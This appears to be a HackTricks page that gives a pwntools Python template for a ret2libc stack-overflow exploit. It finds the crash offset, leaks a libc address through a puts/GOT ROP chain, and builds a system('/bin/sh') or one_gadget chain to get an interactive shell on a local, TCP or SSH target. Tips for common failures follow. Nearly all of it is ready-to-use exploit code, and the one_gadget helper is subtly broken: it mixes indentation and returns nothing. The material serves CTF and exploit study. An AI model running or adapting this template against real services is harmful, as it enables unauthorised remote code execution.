

<details>

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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>


{% code title="template.py" %}
```python
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64  # Import pwntools


###################
### CONNECTION ####
###################
LOCAL = False
REMOTETTCP = True
REMOTESSH = False
GDB = False
USE_ONE_GADGET = False

LOCAL_BIN = "./vuln"
REMOTE_BIN = "~/vuln" #For ssh
LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}

if LOCAL:
    P = process(LOCAL_BIN, env=ENV) # start the vuln binary
    ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
    ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

elif REMOTETTCP:
    P = remote('10.10.10.10',1339) # start the vuln binary
    ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
    ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

elif REMOTESSH:
    ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
    p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
    elf = ELF(LOCAL_BIN)# Extract data from binary
    rop = ROP(elf)# Find ROP gadgets

if GDB and not REMOTETTCP and not REMOTESSH:
    # attach gdb and continue
    # You can set breakpoints, for example "break *main"
    gdb.attach(P.pid, "b *main")


#########################
#### OFFSET FINDER ######
#########################

OFFSET = b"" #b"A"*264
if OFFSET == b"":
    gdb.attach(P.pid, "c") #Attach and continue
    payload = cyclic(264)
    payload += b"AAAAAAAA"
    print(P.clean())
    P.sendline(payload)
    #x/wx $rsp -- Search for bytes that crashed the application
    #print(cyclic_find(0x63616171)) # Find the offset of those bytes
    P.interactive()
    exit()


####################
### Find Gadgets ###
####################
try:
    libc_func = "puts"
    PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
    libc_func = "printf"
    PUTS_PLT = ELF_LOADED.plt['printf']

MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (ROP_LOADED.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
log.info("ret gadget: " + hex(RET))


########################
### Find LIBC offset ###
########################

def generate_payload_aligned(rop):
    payload1 = OFFSET + rop
    if (len(payload1) % 16) == 0:
        return payload1
    
    else:
        payload2 = OFFSET + p64(RET) + rop
        if (len(payload2) % 16) == 0:
            log.info("Payload aligned successfully")
            return payload2
        else:
            log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
            return payload1


def get_addr(libc_func):
    FUNC_GOT = ELF_LOADED.got[libc_func]
    log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
    # Create rop chain
    rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
    rop1 = generate_payload_aligned(rop1)

    # Send our rop-chain payload
    #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
    print(P.clean()) # clean socket buffer (read all and print)
    P.sendline(rop1)

    # If binary is echoing back the payload, remove that message
    recieved = P.recvline().strip()
    if OFFSET[:30] in recieved:
        recieved = P.recvline().strip()
    
    # Parse leaked address
    log.info(f"Len rop1: {len(rop1)}")
    leak = u64(recieved.ljust(8, b"\x00"))
    log.info(f"Leaked LIBC address,  {libc_func}: {hex(leak)}")
    
    # Set lib base address
    if LIBC:
        LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
        print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
        log.info("LIBC base @ %s" % hex(LIBC.address))

    # If not LIBC yet, stop here
    else:
        print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
        P.interactive()
    
    return hex(leak)

get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base


#############################
#### FINAL EXPLOITATION #####
#############################

## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
        import string, subprocess
	args = ["one_gadget", "-r"]
	if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
		args += ["-b", libc.hex()]
	else:
		args += [libc]
	try:
	    one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
	except:
	    print("One_gadget isn't installed")
	    one_gadgets = []
	return 

rop2 = b""
if USE_ONE_GADGET:
    one_gadgets = get_one_gadgets(LIBC)
    if one_gadgets:
        rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains

## Normal/Long exploitation
if not rop2:
    BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
    SYSTEM = LIBC.sym["system"]
    EXIT = LIBC.sym["exit"]
    
    log.info("POP_RDI %s " % hex(POP_RDI))
    log.info("bin/sh %s " % hex(BINSH))
    log.info("system %s " % hex(SYSTEM))
    log.info("exit %s " % hex(EXIT))
    
    rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
    rop2 = generate_payload_aligned(rop2)
    

print(P.clean())
P.sendline(rop2)

P.interactive() #Interact with your shell :)
```
{% endcode %}

# Common problems

## MAIN\_PLT = elf.symbols\['main'] not found

If the "main" symbol does not exist. Then you can just where is the main code:

```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```

and set the address manually:

```python
MAIN_PLT = 0x401080
```

## Puts not found

If the binary is not using Puts you should check if it is using

## `sh: 1: %s%s%s%s%s%s%s%s: not found`

If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`

Try to **subtract 64 bytes to the address of "/bin/sh"**:

```python
BINSH = next(libc.search("/bin/sh")) - 64
```


<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>